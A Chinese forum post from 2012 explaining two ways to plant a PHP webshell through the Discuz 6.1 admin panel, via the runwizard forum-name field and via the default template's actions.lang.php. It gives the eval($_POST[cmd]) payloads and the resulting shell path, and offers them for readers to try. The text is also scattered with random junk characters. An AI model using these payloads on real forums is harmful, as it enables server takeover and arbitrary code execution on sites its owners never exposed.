discuz6.1两种方法后台拿shell
' _" F! ~- \8 l$ q7 l: Z好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下( j" n# T+ V: V* T
1:
3 j; g0 N0 q& n+ `7 Q0 ghttp://127.0.0.1/discuz/admincp. ... zard&frames=yes& q8 w% f& A3 ^+ g$ K% |
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell; B0 h, G p+ j
<?php eval($_POST[cmd]);?>
2 C# G3 Q/ N B* D( ~7 n$ J后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
/ S4 _0 w) x, ]0 M) [. {5 K) `3 J( R9 C
% ^; X+ j( a/ W- V j" S( t2 Q
2:后台模板管理--默认模板套系--详情: t: ^1 ^4 w6 Q* z' |& e
templates/default/actions.lang.php
# w8 z% j* C7 W1 z5 Djhackj\\');eval($_POST[cmd])?>;//
1 ?* M" G0 Q# L% I! O. n$ j; \
7 ]4 |- `( g/ L利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对